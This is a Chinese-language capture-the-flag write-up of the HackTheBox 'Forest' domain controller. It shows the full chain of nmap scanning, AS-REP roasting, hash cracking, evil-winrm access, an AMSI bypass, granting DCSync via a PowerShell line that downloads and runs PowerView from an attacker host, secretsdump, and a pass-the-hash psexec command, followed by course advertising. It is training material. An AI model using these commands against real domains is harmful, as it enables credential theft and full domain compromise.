点击上方蓝字关注我们
nmap -sV -sS -Pn -A -p1-65535 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up (0.32s latency).
Not shown: 65511 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-10-21 11:03:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open unknown
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open unknown
49931/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=10/21%OT=53%CT=1%CU=36900%PV=Y%DS=2%DC=T%G=Y%TM=617148
OS:13%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%TS
OS:=A)SEQ(SP=104%GCD=1%ISR=104%TI=I%CI=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8
OS:ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=20
OS:00%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M5
OS:4DNW8NNS%CC=Y%Q=)ECN(R=N)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%D
OS:F=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O
OS:=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%U
OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m49s, deviation: 4h02m32s, median: 6m47s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2021-10-21T04:05:16-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-10-21T11:05:15
|_ start_date: 2021-10-21T07:03:53
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 321.85 ms 10.10.14.1
2 321.83 ms 10.10.10.161
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3716.43 seconds
我们发现可以进行匿名登录,我们尝试匿名登录SMB服务,看看有哪些有价值的信息答案是没有,没有什么共享信息上面信息收集时发现了ldap服务,那我们尝试使用ldapsearch工具对namingcontexts
字段进行发掘我们尝试更深入地挖掘DN信息,并尝试获取域中的用户列表我们还可以使用enum4linux
获取用户我们将搜集的信息保存为一个anon_ldap.txt
文件,过滤出svc-alfresco
用户的信息那我们拿到账号和用户名后,我们得检查一下是否启用了预认证,这里解释一下什么是预认证
在请求 TGT(票证授予票证)时,第一步,请求方(用户)使用自己的 NTLM 哈希加密时间戳,并将其发送到 KDC(密钥分发中心),即域控制器。现在,如果 KDC 使用请求用户的 NTLM 哈希成功解密时间戳,KDC 将知道请求用户是有效用户。可以禁用此检查(这不是默认情况)。在这种情况下,KDC 不会验证请求 TGT 的用户是否有效,而是将 TGT 发送回请求者。该 TGT 包含使用请求用户的 NTLM 哈希加密的部分数据,这意味着我们可以将哈希脱机并尝试破解它。
那我们可以使用impacket
包中的GetNPUsers.py
这个脚本去请求TGT,直接获取易受攻击的用户名及对应的哈希值我们使用john
来破解这个hash值,破解的明文值为s3rvice
我们也可以用hashcat来破解
hashcat -m 18200 -a 0 -w 3 forest.hash /usr/share/wordlists/rockyou.txt
因为上边我们扫描到主机开放了5985端口,那证明主机开放了WinRM服务
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
我们使用Bloodhound这个工具查询是否有潜在的提权路径,首先我们得先把客户端SharpHound.exe
上传到目标主机上,并运行它为了方便我们传输,我们在本机上搭建一个SMB服务器然后我们将压缩包复制到本机上在攻击机上启动bloodhound,并将压缩包拖进bloodhound中然后点击最后一个选项,查看可以进行哈希传递的用户
然后再点击这个选项
可以看到svc-alfresco
这个用户是属于service account
这个组的成员,同时它也是Privileged IT Accounts
的成员,它也是account operators
的成员。它允许该组的成员创建和修改用户并将其添加到不受保护的组那我们现在点击Shortest Paths to High Value Targets
,查看去往高权限目标的路径。该用户具有GenericAll
的权限和Exchange Windows
权限组。在Exchange Windows
权限组具有WriteDacl
在域的权限。该WriteDacl
权限使用户能够向对象添加DACL
(自由访问控制列表)。那就意味着:
**DCsync是几个权限的集合体,是域渗透中经常会用到的技术,如果普通用户想具有DCsync权限,可以给对象添加以下三条ACE:
首先我们先将用户添加到域中然后我们将用户添加到Exchange Windows
权限组我们看看菜单,我们选择Bypass-4MSI
,Bypass-4MSI
命令用于在导入脚本之前规避防御者。接下来,我们可以使用Add-ObjectACL
和john
的凭证,并给他DCSync
权限。然后输入以下的powershell的代码
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Secpassword = ConvertTo-SecureString 'password1234' -asplaintext -force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB\pyh',$Secpassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pyh -Rights DCSync
开启一个小型服务器执行完成后,我们使用secretdumps.py
脚本获取用户名对应的哈希值。这里我们获取到了管理员的哈希值那么我们只需要使用psexec.py
脚本来进行哈希传递攻击,获取到超级管理员权限
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected]
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
活动优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看